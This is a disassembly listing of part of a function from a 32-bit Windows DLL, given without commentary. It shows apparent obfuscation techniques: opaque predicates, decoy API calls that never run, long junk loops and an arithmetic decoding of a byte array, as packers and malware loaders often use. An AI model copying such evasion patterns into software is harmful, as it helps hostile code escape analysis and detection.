push 0x12e5
push 0
push 0x2654
push 0x226f
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
jmp 0x10013b98
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc28]
call fcn.10006098
mov byte [ebp - 0x170], 6
mov byte [ebp - 0x16f], 0x7b
mov byte [ebp - 0x16e], 2
mov byte [ebp - 0x16d], 0x41
mov byte [ebp - 0x16c], 1
mov byte [ebp - 0x16b], 0x17
mov byte [ebp - 0x16a], 7
mov byte [ebp - 0x169], 0x57
mov byte [ebp - 0x168], 5
mov byte [ebp - 0x167], 0x5e
mov byte [ebp - 0x166], 4
mov byte [ebp - 0x165], 9
mov byte [ebp - 0x164], 9
mov byte [ebp - 0x163], 1
mov byte [ebp - 0x162], 4
mov byte [ebp - 0x161], 0xe5
mov byte [ebp - 0x160], 0xfb
mov byte [ebp - 0x15f], 0xca
mov byte [ebp - 0x15e], 0xd2
mov byte [ebp - 0x15d], 0xa
mov byte [ebp - 0x15c], 8
mov byte [ebp - 0x15b], 0
mov byte [ebp - 0x15a], 0x27
mov byte [ebp - 0x159], 3
mov byte [ebp - 0x158], 0x25
mov byte [ebp - 0x157], 0xb
mov byte [ebp - 0x156], 2
mov byte [ebp - 0x155], 8
mov byte [ebp - 0x154], 0x42
mov dword [ebp - 0x130], 0x5c8094a
push 1
lea ecx, [ebp - 0xd1c]
call fcn.10006036
mov dword [ebp - 4], 9
mov dword [ebp - 0x60], 0
jmp 0x10013ce1
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x10013cf7
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xccc], 0xfff9
jmp 0x10013cda
mov dword [ebp - 0x60], 0
jmp 0x10013d07
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x10013d20
push dword [ebp - 0x60]
lea ecx, [ebp - 0xd1c]
call fcn.1000609d
or dword [eax], 0xffffffff
jmp 0x10013d00
mov dword [ebp - 0x130], 0
jmp 0x10013d39
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 1
jg 0x10013d9c
mov dword [ebp - 0x2f0], 1
mov dword [ebp - 0x2f0], 0
jmp 0x10013d65
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 1
jg 0x10013d9a
mov byte [ebp - 0xa3], 0
movzx eax, byte [ebp - 0xa3]
test eax, eax
je 0x10013d86
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [ebp - 0x130]
cmp dword [ebp + eax*4 - 0xccc], 0
je 0x10013d98
jmp 0x10013d9a
jmp 0x10013d58
jmp 0x10013d2c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd1c]
call fcn.10006098
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x170]
and eax, 0x48
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x170]
or ecx, 0x48
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x170]
mov word [ebp + eax*2 - 0xc78], cx
push 3
lea ecx, [ebp - 0x188]
call fcn.10006036
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x4f0], 0xf7bf48c4
mov dword [ebp - 0x384], 0x693009c
mov dword [ebp - 0x38c], 1
push 1
lea ecx, [ebp - 0xa58]
call fcn.10006036
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x880], 0
mov dword [ebp - 0x87c], 0x103ca543
mov dword [ebp - 0x9e4], 0
mov dword [ebp - 0x20], 0
jmp 0x10013e56
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x10013e69
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x58], 0xe3556834
jmp 0x10013e4f
mov dword [ebp - 0x20], 0
jmp 0x10013e79
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x10013e95
push dword [ebp - 0x20]
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov dword [eax], 0xfffffffc
jmp 0x10013e72
mov dword [ebp - 0x20], 0
jmp 0x10013ea5
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jge 0x10013ec1
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa58]
call fcn.1000609d
mov dword [eax], 0x13c61c71
jmp 0x10013e9e
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
and dword [eax], 0
jmp 0x10013ef7
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov dword [ebp - 0x750], eax
mov eax, dword [ebp - 0x750]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x750]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
cmp dword [eax], 0
jg 0x10014204
mov dword [ebp - 0x3bc], 0x7207182
mov dword [ebp - 0x37c], 0x3d62a04f
push 3
lea ecx, [ebp - 0xad0]
call fcn.10006036
mov byte [ebp - 4], 0xc
mov dword [ebp - 0x1d8], 0
jmp 0x10013f4b
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 3
jge 0x10013f6d
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0xad0]
call fcn.1000609d
mov dword [eax], 1
jmp 0x10013f3e
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x58], 0
jne 0x100140ef
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x58]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x880]
je 0x10013fba
mov dword [ebp - 0x4c0], 1
jmp 0x10013fc1
and dword [ebp - 0x4c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
cmp dword [ebp - 0x4c0], eax
jle 0x10013fdf
mov dword [ebp - 0x678], 1
jmp 0x10013fe6
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x37c]
dec eax
mov dword [ebp - 0x37c], eax
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
imul ecx, dword [ebp - 0x37c], 0xbac8
imul ecx, dword [ebp - 0x678]
cmp ecx, dword [ebp + eax*4 - 0x58]
jne 0x10014038
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0x58], 0
jne 0x10014038
and dword [ebp - 0x4c8], 0
jmp 0x10014042
mov dword [ebp - 0x4c8], 1
cmp dword [ebp - 0x4c8], 0x1c23
je 0x1001405a
mov dword [ebp - 0x3d4], 1
jmp 0x10014061
and dword [ebp - 0x3d4], 0
push 0
lea ecx, [ebp - 0xad0]
call fcn.1000609d
mov ecx, dword [ebp - 0x3d4]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x58]
add eax, dword [ebp - 0x3d4]
cmp eax, dword [ebp - 0x38c]
je 0x1001409a
mov dword [ebp - 0x7d0], 1
jmp 0x100140a1
and dword [ebp - 0x7d0], 0
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x58]
cmp dword [ebp - 0x7d0], eax
je 0x100140c8
mov dword [ebp - 0x4d0], 1
jmp 0x100140cf
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x38c]
add eax, dword [ebp - 0x4d0]
jne 0x100140ef
mov eax, 0x2138
test eax, eax
jne 0x100140ef
and dword [ebp - 0x680], 0
jmp 0x100140f9
mov dword [ebp - 0x680], 1
cmp dword [ebp - 0x680], 0x6ced
je 0x1001411a
cmp dword [ebp - 0x384], 0
je 0x1001411a
mov dword [ebp - 0x4d8], 1
jmp 0x10014121
and dword [ebp - 0x4d8], 0
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x58]
cmp dword [ebp - 0x4d8], eax
jl 0x10014148
mov dword [ebp - 0x758], 1
jmp 0x1001414f
and dword [ebp - 0x758], 0
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0xa7c], eax
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x874]
cmp eax, dword [ebp - 0xa7c]
jge 0x1001418e
mov dword [ebp - 0x4e0], 1
jmp 0x10014195
and dword [ebp - 0x4e0], 0
push 0
lea ecx, [ebp - 0xa58]
call fcn.1000609d
mov esi, dword [ebp - 0x4e0]
sub esi, dword [eax]
sub esi, 0x2fc53d8b
push 0
lea ecx, [ebp - 0xa58]
call fcn.1000609d
mov dword [eax], esi
push 2
lea ecx, [ebp - 0xad0]
call fcn.1000609d
cmp dword [eax], 0
jne 0x100141dd
mov dword [ebp - 0x688], 1
jmp 0x100141e4
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x688]
mov dword [ebp - 0x4f0], eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0xad0]
call fcn.10006098
jmp 0x10013ed3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x58], 0
je 0x100142a7
push 0
lea ecx, [ebp - 0xa58]
call fcn.1000609d
mov esi, eax
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, dword [eax]
cmp eax, dword [esi]
jl 0x10014243
mov dword [ebp - 0x4e8], 1
jmp 0x1001424a
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x38c]
mov dword [ebp - 0xd70], eax
push 2
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov eax, 0x4041
inc eax
push 2
pop ecx
sub ecx, eax
cmp ecx, dword [ebp - 0x87c]
jg 0x10014282
mov dword [ebp - 0x7c4], 1
jmp 0x10014289
and dword [ebp - 0x7c4], 0
push 1
lea ecx, [ebp - 0x188]
call fcn.1000609d
cmp dword [eax], 0
je 0x100142a7
mov dword [ebp - 0x3ec], 1
jmp 0x100142ae
and dword [ebp - 0x3ec], 0
push 0
lea ecx, [ebp - 0x188]
call fcn.1000609d
mov ecx, dword [ebp - 0x3ec]
mov dword [eax], ecx
cmp dword [ebp - 0x3ec], 0
jne 0x100142de
cmp dword [ebp - 0x4f0], 0
jne 0x100142de
and dword [ebp - 0x690], 0
jmp 0x100142e8
mov dword [ebp - 0x690], 1
mov eax, dword [ebp - 0x690]
mov dword [ebp - 0x9e4], eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xa58]
call fcn.10006098
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x188]
call fcn.10006098
mov dword [ebp - 0x24], 2
and dword [ebp - 0x2a0], 0
jmp 0x1001432a
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x1d
jae 0x10014726
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x170]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x10014591
mov dword [ebp - 0x298], 0xd7f825e7
mov dword [ebp - 0xb40], 0x2304b25b
mov dword [ebp - 0xb3c], 0x2304b25b
mov dword [ebp - 0xb38], 0x2304b25b
mov dword [ebp - 0xb34], 0x2304b25b
lea ecx, [ebp - 0x3bd]
call fcn.100060ac
push eax
lea eax, [ebp - 0xb30]
push eax
lea eax, [ebp - 0xb40]
push eax
lea ecx, [ebp - 0xe44]
call fcn.100060af
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd2c]
call fcn.10006072
mov dword [ebp - 4], 0xd
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x100143de
push 0
push 0x20ab
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x298], 0
jmp 0x100143f7
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 8
jg 0x10014447
mov dword [ebp - 0xf4], 0xfc0272a
mov dword [ebp - 0xf4], 0
jmp 0x10014423
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 3
jg 0x10014445
push dword [ebp - 0xf4]
lea ecx, [ebp - 0xd2c]
call fcn.1000609d
mov dword [eax], 0x20bd2ab6
jmp 0x10014416
jmp 0x100143ea
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd2c]
call fcn.10006098
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x170]
inc eax
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x170]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0xc90], 0
mov byte [ebp - 0xa7], 0
movzx eax, byte [ebp - 0xa7]
test eax, eax
je 0x100144b2
push 0
push 0x20ab
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x1e0], 0
jmp 0x100144cb
mov eax, dword [ebp - 0x1e0]
dec eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0xffffffe4
jne 0x1001458c
push 3
lea ecx, [ebp - 0xbe0]
call fcn.10006036
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x12c], 0xa137b189
mov dword [ebp - 0x320], 0
jmp 0x1001450f
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 3
jge 0x10014531
push dword [ebp - 0x320]
lea ecx, [ebp - 0xbe0]
call fcn.1000609d
mov dword [eax], 0xf251
jmp 0x10014502
mov dword [ebp - 0x12c], 2
jmp 0x1001454a
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jl 0x10014578
mov dword [ebp - 0x884], 1
push dword [ebp - 0x12c]
lea ecx, [ebp - 0xbe0]
call fcn.1000609d
mov eax, dword [eax]
mov dword [ebp - 0x884], eax
jmp 0x1001453d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbe0]
call fcn.10006098
jmp 0x100144be
jmp 0x10014322
mov dword [ebp - 0xd74], 0xd327cb3f
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x100145b8
push 0x1b84
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x100145d2
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x2a0]
movzx eax, byte [ebp + eax - 0x172]
movzx eax, word [ebp + eax*2 - 0xc78]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x16f]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x2a0]
movzx eax, byte [ebp + eax - 0x172]
movzx eax, word [ebp + eax*2 - 0xc78]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x16f]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x170]
mov word [ebp + eax*2 - 0xc78], dx
mov dword [ebp - 0xb04], 5
mov dword [ebp - 0xb00], 5
mov dword [ebp - 0xafc], 5
mov dword [ebp - 0xaf8], 5
lea ecx, [ebp - 0x3c5]
call fcn.100060ac
push eax
lea eax, [ebp - 0xaf4]
push eax
lea eax, [ebp - 0xb04]
push eax
lea ecx, [ebp - 0xe94]
call fcn.100060af
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd3c]
call fcn.10006072
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x110], 0xfffffffe
mov dword [ebp - 0x110], 0
jmp 0x100146ba
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 3
jg 0x1001470b
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e8], 0
jmp 0x100146e6
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 3
jg 0x10014709
push dword [ebp - 0x110]
lea ecx, [ebp - 0xd3c]
call fcn.1000609d
cmp dword [eax], 0
je 0x10014707
jmp 0x10014709
jmp 0x100146d9
jmp 0x100146ad
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd3c]
call fcn.10006098
and dword [ebp - 0x2a0], 0
jmp 0x10014322
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xc78], cx
push 1
lea ecx, [ebp - 0xd4c]
call fcn.10006036
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x44], 0
jmp 0x1001475a
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x10014773
push dword [ebp - 0x44]
lea ecx, [ebp - 0xd4c]
call fcn.1000609d
or dword [eax], 0xffffffff
jmp 0x10014753
mov dword [ebp - 0x44], 0
jmp 0x10014783
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 1
jge 0x10014799
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0x1f0], 2
jmp 0x1001477c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1f0], 0
jmp 0x100147c7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1f0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1f0], 0
jl 0x10014913
mov byte [ebp - 0x95], 0
mov dword [ebp - 0x4f8], 0x736
mov dword [ebp - 0x88c], str.jnh_cix_qts
cmp dword [ebp - 0x4f8], 0x92d
jle 0x100148b3
push 0
push 0x1ebb
call dword [sym.imp.GDI32.dll_SetBkColor]
and dword [ebp - 0x2f8], 0
jmp 0x10014829
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x3ba3
jge 0x100148b3
and dword [ebp - 0x1f8], 0
jmp 0x1001484b
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x1ab
jge 0x100148ae
mov eax, dword [ebp - 0x2f8]
xor eax, dword [ebp - 0x1f8]
cdq
mov dword [ebp - 0x8cc], eax
mov dword [ebp - 0x8c8], edx
push dword [ebp - 0x8c8]
push dword [ebp - 0x8cc]
lea ecx, [ebp - 0xf9c]
call fcn.10001a84
pop ecx
pop ecx
mov dword [ebp - 0xa3c], eax
mov ecx, dword [ebp - 0xa3c]
call fcn.10005d07
push eax
call fcn.10048acd
pop ecx
lea ecx, [ebp - 0xf9c]
call fcn.10005cfd
jmp 0x1001483e
jmp 0x1001481c
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x100148c6
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x4f8], 0x4a6
jge 0x100148e2
push dword [ebp - 0x88c]
call fcn.10048acd
pop ecx
jmp 0x100148fe
mov dword [ebp - 4], 0x10
jmp 0x1001490e
jmp 0x100147ac
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x10014931
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd4c]
call fcn.10006098
lea eax, [ebp - 0xc78]
push eax
lea ecx, [ebp - 0xf84]
call fcn.10005e77
mov dword [ebp - 0x9ec], eax
mov eax, dword [ebp - 0x9ec]
mov dword [ebp - 0x894], eax
mov dword [ebp - 4], 0x13
push dword [ebp - 0x894]
call fcn.1000aec1
pop ecx
mov dword [ebp - 0x72c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf84]
call fcn.10005ec1
mov dword [ebp - 0x18], 0x9696
push 1
lea ecx, [ebp - 0x3e8]
call fcn.10006036
mov dword [ebp - 4], 0x14
push 2
lea ecx, [ebp - 0x854]
call fcn.10006036
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x9f4], 0
mov dword [ebp - 0x9fc], 5
mov dword [ebp - 0x4c], 0
jmp 0x100149dc
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jge 0x100149f8
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov dword [eax], 5
jmp 0x100149d5
mov dword [ebp - 0x4c], 0
jmp 0x10014a08
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x10014a24
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x854]
call fcn.1000609d
mov dword [eax], 0xc3a065c2
jmp 0x10014a01
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc98], eax
xor eax, eax
je 0x10014ac5
mov dword [ebp - 0x18c], 0
jmp 0x10014a4e
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 1
jge 0x10014a6a
mov eax, dword [ebp - 0x18c]
mov dword [ebp + eax*4 - 0xaac], 0xfffffffe
jmp 0x10014a41
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xd7c], eax
cmp dword [ebp - 0x18], 0x6a3367f5
jle 0x10014a88
mov dword [ebp - 0x760], 1
jmp 0x10014a8f
and dword [ebp - 0x760], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x760]
je 0x10014aa6
mov dword [ebp - 0x500], 1
jmp 0x10014aad
and dword [ebp - 0x500], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x500]
mov dword [ebp + eax - 0xaac], ecx
jmp 0x10015236
mov dword [ebp - 0x90], 0x25c7e4dd
mov dword [ebp - 0x8ac], 0x7e08a84a
mov dword [ebp - 0x18], 0
jmp 0x10014ae9
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x10015210
mov dword [ebp - 0x210], 0x7bf748bb
mov dword [ebp - 0xb18], 5
mov dword [ebp - 0xb14], 5
mov dword [ebp - 0xb10], 5
mov dword [ebp - 0xb0c], 5
lea ecx, [ebp - 0x3ed]
call fcn.100060ac
push eax
lea eax, [ebp - 0xb08]
push eax
lea eax, [ebp - 0xb18]
push eax
lea ecx, [ebp - 0xe2c]
call fcn.100060af
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xa68]
call fcn.10006072
mov byte [ebp - 4], 0x16
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
cmp dword [eax], 0
je 0x10014dee
mov dword [ebp - 0x394], 0xffff
push 2
lea ecx, [ebp - 0xbf8]
call fcn.10006036
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x2a8], 0
jmp 0x10014ba9
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 2
jge 0x10014bcb
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0xbf8]
call fcn.1000609d
mov dword [eax], 0xe3a4c638
jmp 0x10014b9c
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x698], eax
push 1
lea ecx, [ebp - 0x854]
call fcn.1000609d
mov ecx, dword [ebp - 0x698]
mov dword [eax], ecx
mov eax, dword [ebp - 0x698]
neg eax
je 0x10014db6
push 1
lea ecx, [ebp - 0x854]
call fcn.1000609d
mov esi, eax
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov eax, dword [eax]
sub eax, dword [esi]
mov dword [ebp - 0x210], eax
mov esi, dword [ebp - 0x210]
push 0
lea ecx, [ebp - 0xbf8]
call fcn.1000609d
cmp esi, dword [eax]
jge 0x10014c43
mov dword [ebp - 0x508], 1
jmp 0x10014c4a
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x394]
cmp dword [ebp - 0x508], eax
jne 0x10014c64
mov dword [ebp - 0x804], 1
jmp 0x10014c6b
and dword [ebp - 0x804], 0
push 1
lea ecx, [ebp - 0x854]
call fcn.1000609d
mov ecx, dword [ebp - 0x804]
imul ecx, dword [eax]
cmp ecx, 0xfffffff7
jge 0x10014c92
mov dword [ebp - 0x510], 1
jmp 0x10014c99
and dword [ebp - 0x510], 0
push 0
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov eax, dword [eax]
cmp eax, dword [ebp - 0x510]
jg 0x10014cbc
mov dword [ebp - 0x3c4], 1
jmp 0x10014cc3
and dword [ebp - 0x3c4], 0
push 1
lea ecx, [ebp - 0x854]
call fcn.1000609d
mov ecx, dword [ebp - 0x3c4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x3c4]
jge 0x10014cfb
mov eax, 0xf9f3
test eax, eax
je 0x10014cfb
mov dword [ebp - 0x89c], 1
jmp 0x10014d02
and dword [ebp - 0x89c], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x3e8]
call fcn.1000609d
mov esi, 0xffff
sub esi, 0x285f
push 3
lea ecx, [ebp - 0xa68]
call fcn.1000609d
cmp esi, dword [eax]
jle 0x10014d38
mov dword [ebp - 0x6a0], 1
jmp 0x10014d3f
and dword [ebp - 0x6a0], 0
push 3
lea ecx, [ebp - 0xa68]
call fcn.1000609d
mov ecx, dword [ebp - 0x6a0]
cmp ecx, dword [eax]
je 0x10014d62
mov dword [ebp - 0x518], 1
jmp 0x10014d69
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x518], eax
jg 0x10014d89
cmp dword [ebp - 0x90], 0
je 0x10014d89
mov dword [ebp - 0x768], 1
jmp 0x10014d90
and dword [ebp - 0x768], 0
push 3
lea ecx, [ebp - 0xa68]
call fcn.1000609d
mov ecx, dword [ebp - 0x768]
imul ecx, dword [eax]
test ecx, ecx
je 0x10014db6
mov dword [ebp - 0x520], 1
jmp 0x10014dbd
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x520]
sub eax, 0x5bb5
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x9f4], eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xbf8]
call fcn.10006098
jmp 0x100151fc
mov dword [ebp - 0x548], 0x315bfeb1
mov dword [ebp - 0x558], 0xffffffff
push 1
lea ecx, [ebp - 0xc34]
call fcn.10006036
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x6a8], 0x2907
mov dword [ebp - 0xa44], str.bhn_vdp_lrd
cmp dword [ebp - 0x6a8], 0x29fa
jle 0x10014f1e
and dword [ebp - 0x200], 0
jmp 0x10014e4d
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x2803
jge 0x10014f0c
and dword [ebp - 0x338], 0
jmp 0x10014e73
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x4392
jge 0x10014f07
and dword [ebp - 0x208], 0
jmp 0x10014e99
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x4a4e
jge 0x10014f02
mov eax, dword [ebp - 0x200]
and eax, dword [ebp - 0x338]
xor eax, dword [ebp - 0x208]
cdq
mov dword [ebp - 0x8d8], eax
mov dword [ebp - 0x8d4], edx
push dword [ebp - 0x8d4]
push dword [ebp - 0x8d8]
lea ecx, [ebp - 0xf0c]
call fcn.10001a84
pop ecx
pop ecx
mov dword [ebp - 0x8a4], eax
mov ecx, dword [ebp - 0x8a4]
call fcn.10005d07
push eax
call fcn.10048acd
pop ecx
lea ecx, [ebp - 0xf0c]
call fcn.10005cfd
jmp 0x10014e8c
jmp 0x10014e66
jmp 0x10014e40
push 0xd35
push 0x1b0a
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x6a8], 0x25a2
jge 0x10014f3a
push dword [ebp - 0xa44]
call fcn.10048acd
pop ecx
jmp 0x10014f56
mov dword [ebp - 4], 0x18
jmp 0x10014f66
mov dword [ebp - 0x2b0], 0
jmp 0x10014f7f
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 1
jge 0x10014fa1
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0xc34]
call fcn.1000609d
mov dword [eax], 0xab67338d
jmp 0x10014f72
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x528], eax
push 3
lea ecx, [ebp - 0xa68]
call fcn.1000609d
mov ecx, dword [ebp - 0x528]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
